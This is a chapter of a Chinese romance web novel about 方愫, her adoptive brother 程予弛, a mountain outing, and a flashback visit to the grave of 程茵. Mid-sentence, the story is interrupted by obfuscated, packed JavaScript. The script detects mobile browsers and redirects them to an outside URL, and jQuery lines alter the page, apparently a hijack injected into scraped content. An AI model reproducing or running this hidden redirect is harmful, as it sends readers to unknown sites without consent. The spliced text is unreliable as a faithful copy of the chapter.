9. 奶糖
作品:《哥你别打我男朋友》 “好哇星辰哥,你出卖我!”当时方愫参加锦标赛,被有同校好友的段星辰发现,方愫还请他吃了一顿饭做封口费呢。
段星辰二指发誓,“我绝对没有出卖你,这事他不光知道,还拉着我去看了现场呢!”
方愫呼吸颤了颤,从口罩里冒出来的热气蒸得睫毛上都是水珠,又被冻成了霜。
方愫抿了抿唇,望着山顶的人影,好半晌才消化了这件事。
程予弛从来没有提过。
她小声道:“你还出卖了他。”
“无所谓,我是站着你这边的。”身边燕玲一不小心滑了一下,段星辰伸出胳膊,绅士地让燕玲搀了下,燕玲小声说了“谢谢”,忙跑到方愫身边,挽着方愫的胳膊。
“谁要你站队啦,我和哥哥是一家人,不分队的。”方愫故作不在意得挑眉,一股冷风吹过来,把她垂在身前的发丝吹到后面去,鼻尖一酸,这股劲直冲到眼眶,连眼眶都发酸了。
段星辰只意味深长地看着方愫,轻轻安慰地一笑,摇头不语。
“星辰哥,等我在这北城找个少数民族男朋友带给你见哈。”方愫吸了吸冷空气,说完以后,小跑着追上了山顶去。
段星辰愣了愣,侧身看了眼一直跟在方愫身后的艾尼,艾尼湛蓝的双眼睁得老大,双手举起来,“哎别看我,漂亮的女朋友家里面一个有呢!多一个嘛渣男,不行。”
方愫小步子跑到了程予弛身边,程予弛和衡济非竟然都坐在了奶茶店门口的小椅子上,燕玲也在后面跟上来,小脸跑得红扑扑的,方愫很自觉地就跑到了程予弛面前。
两杯奶茶递到了眼前。
衡济非递给方愫一杯奶茶,挑眉笑笑,“你早上说好喝的,咸奶茶。”
程予弛那只戴着黑色表带的左手,也递过来一杯奶茶,他没有去看方愫尴尬的表情,把暖乎乎的奶茶塞到方愫手里,对后面跑来的燕玲眼神点了点衡济非手中那杯,说:“那杯是买给你的。”
燕玲没注意这些小表情,非常心大地接过衡济非手中的奶茶,“谢谢衡总。”
衡济非转眼望向燕玲,她一笑嘴角勾出两个深深的酒窝,很可爱,衡济非也笑笑,“不用客气”。
方愫把手中段星辰拿来的车钥匙摊开给程予弛看,眉眼弯弯得,偏着脑袋问程予弛:“哥哥给我买车啦。”
“嗯。”程予弛揉揉方愫脑袋。
两人都没有再说什么,一会儿后,程予弛问方愫:“累了吗?”
太阳落到山背,又越过山坳探出头来,北城干燥,方愫唇上擦了些唇蜜,在温暖阳光下亮晶晶的,她打开奶茶抿了一口,是甜的,又抬眸对上程予弛,笑着说:“不累。”
程予弛偏过头去,看了看远处。
早已坐着缆车上了山顶的几位老总,在山顶的亭中坐的坐,蹲的蹲,也看见了他们几人,朝他们挥了挥手。
“程总,来这边看,这是观景亭,视野好。”
但这群老烟枪把八面透风的小亭子都熏得烟雾缭绕的。
程予弛过去,但叫方愫和燕玲去了一边的观景台赏景。
山腰起了雾,天气开始转凉,方愫原本敞开拉链的羽绒服,现在感受到丝丝凉意,也拉上了拉链。
她和燕玲走远了,两人钻进了一边的树林丛中。
“小方姐,我今天怎么感觉你和程总之间怪怪的?”燕玲被方愫拉着,两人找了一块干净的石凳坐下来。
“怎么怪了?不一直是这样吗?”方愫说着这话心里都揪疼揪疼的。
“嗯……我也说不上来,但如果是正常情况的话,程总应该会在你冷的时候捧着你的手哈气,亲手戳开奶茶,当然,这都是小事,最主要的是……”
“一般情况下,他给你送了喜欢的车,你一定会兴奋地抱着他跳的。”
方愫起身去往一边走了点,取了一捧干净纯粹的雪,用手指像舀冰激凌一样舀了一块,放进嘴里。
“可我们是兄妹啊,要避嫌的。”
雪顶的雪,竟然是苦的。
燕玲拍掉方愫手里的雪,伸手去抱了抱方愫,“小方姐,可你是方愫,你们并不是亲兄妹呀。”燕玲声音很轻,像是会一不小心也融化进雪里了一样。
燕玲听见了早晨两人的对话,不知道发生了什么,但二人确实和以前不一样了。
“放心好了,我是谁呀,我才不会一头撞进死胡同呢。”方愫拍了拍燕玲。
“我不是说了会找个异域小哥哥嘛,说不定下山就能遇见真爱。再说了,就算不找北城的,我长这么大还没亲过洋嘴呢,出国去试试也可以的。”
“我放弃啦!”方愫朝着山下大喊。
在她们的背面,段星辰和程予弛刚走到这边来,两人都看见了坐在树林石凳的她们,正准备上去时,就听见了两位姑娘的对话。
程予弛双手在口袋里攥了攥,垂下眸去,转过了身,“我去那边等你们,你问问小愫想不想滑雪。”
程予弛大步离开,段星辰眉心突突地跳,他没有职业病,不想去管心里别扭的人。
方愫听见了后面的动静,带着燕玲往下走,只看见了程予弛离开的背影,朝着山下。
-
喜欢程予弛这件事,一直是一件私密的事情。
多年前,高考结束后的一个夏天,天空一直阴沉着。
这天是程茵的十九岁生日,程思华包了游艇要为她办一场生日晚会,化妆师天不亮就来房里为方愫化妆,华丽的限量高订礼服让她不得不端坐在椅子里。
方愫比程茵小一岁,而且,她的生日也并不在七月雨季。
化完妆,已经过了中午,程思华同以往一样很早就去了公司,化妆师造型师忙活了一上午也终于离开,留方愫一人坐在梳妆镜前怔楞许久。
以往的每一年都会办生日宴会,但从没有如此隆重。
窗外飘着一层绵绵细雨,水汽在夏日里蒸腾成雾蒙蒙的。程予弛的车在楼下等着,方愫看见他将车停在门口后,撑着一柄黑色的伞进了屋。
方愫小心提起精致的裙子,蹬着高跟鞋下了楼。
程予弛把搭在臂弯的西装外套递给方愫,视线在方愫脸上淡淡扫过,往下,就是低胸吊带礼服,程予弛垂眸只盯着手上的外套,说:“妆很衬你,好看。”
方愫抿了抿唇,手上迟疑了一下,低头看了眼自己身上的淡绿色鱼尾礼裙,才接过外套披上。
他们是要去看程茵的,穿着现在没办法卸下来的这一身,确实不妥。
程予弛视线下移,齐膝的鱼尾裙下,是一双光洁白皙的小腿,纤瘦笔直地栽在一双五公分高的精致水钻高跟鞋里。程予弛挪开视线,从玄关取了一双平底鞋放在方愫面前。
“穿这个。”
外面的路面已经被雨水冲湿,程予弛是爱干净,又体面的人,不会让方愫把这双高跟鞋踩进泥泞,又踩进宴会的。
方愫呼吸沉了沉,换上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466548|169682||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了平底凉鞋,程予弛便将她的高跟鞋拎着,放进了车的后备厢。
“小愫,不要多想,轻松点。”程予弛感受到了方愫的情绪。
她的情绪通常都在脸上,方愫勉强扯出来一个难看的笑脸。
她笑起来一点也不像程茵。
墓碑上,程茵的照片还停留在她的十四岁。
程茵笑起来两颊有深陷的酒窝,眼睛亮晶晶的,陶瓷照片被五年来的日晒和风化,现在有些泛灰,但仍能清晰见到她拍照时灿烂的笑。
方愫披着黑色西装外套,站在程予弛身侧。
程予弛给程茵买了她那时最喜欢的百合花,她喜欢香味浓郁的花,但方愫对花粉有轻微过敏。
一支支百合被一个透明罩子完全密封起来,局促地挤在里面,显得不安又难受,它们被程予弛摆在了程茵面前。
细雨绵绵密密,容城的夏季总是这样,墓园里静得就剩下雨针打在花束外塑料盒上的声音,它们虽局促,但又被完好地保护在盒子里,不受雨针的侵袭。
程予弛从口袋里又掏出来一些水果味的糖果,放在花的旁边,也是程茵以前爱吃的品牌。
方愫吃过,是在程予弛的抽屉里拿的。她吃了一颗菠萝味的糖,险些因过敏而窒息。
这是她第一次知道自己对菠萝过敏。
程予弛背着她去医院时,她已经意识模糊了,只知道自己那时难受地掐着程予弛肩膀,狠狠地把指甲嵌进去。
方愫困在黑色西装外套下的双手,感觉已经被潮湿的水汽憋得湿润,她捻了捻手心的水汽,轻轻地说:“茵茵,生日快乐。”
两人没有待多久,程予弛撑着伞,走在方愫身侧,方愫低着头,看着凉鞋里自在的脚丫,一步一步踢着迫不及待想要扎入土地的水毛毛,走出墓园她就脱下了这件外套。
程予弛定下脚步,视线回头望了眼墓园,又转回来,低眸看进方愫眼里,轻声呼吸,“小愫,给你穿外套,是因为今天天凉,不是因为来墓园。”
方愫为自己的狭隘感到局促,视线四下转了转,“我不冷。”
程予弛伸手,用手背触了一下方愫光着的手臂,接过外套又给她披上了,“我觉得你冷。”
方愫低头,又踢了踢调皮的雨。
“让你穿平底鞋,也不是怕脏了美丽的高跟鞋,而是现在没必要累着脚。”
“你不常穿,今晚如果无法避免,那么白天就尽量不要穿着徒增负累了。”
万千银针在头顶轻叩伞面,云层散开,雨幕之外突然出现了阳光。方愫现在恍然觉得,这些闪着光的绵绵雨,就像是头顶的精灵仙子,用魔法棒朝下撒着碾碎的水晶,她仰着头望着程予弛。
这是她住进程家的第四个年头,程予弛从未叫过她“茵茵”。
方愫一直清楚地知道,自己在程家,就是程茵的替身,用着她的名字,享受着属于程茵的一切。
程予弛将手伸到了方愫面前,摊开,里面躺着一颗皱巴巴的奶糖。
“小愫,这个是你的。”
方愫伸手去拿,奶糖温热,被程予弛握了很久,在方愫手里开始发烫,顺着指尖,一路烫进了心里。
一颗普通的小白兔奶糖,方愫坐在车里,小心翼翼地拨开糖衣,薄脆的糯米纸已经黏在了奶糖上,湿润的指腹将奶糖推进口中,柔软醇厚的奶香味厚重地包裹上来。
她听见程予弛说:“甜味适合你,不要多想,我一直在。”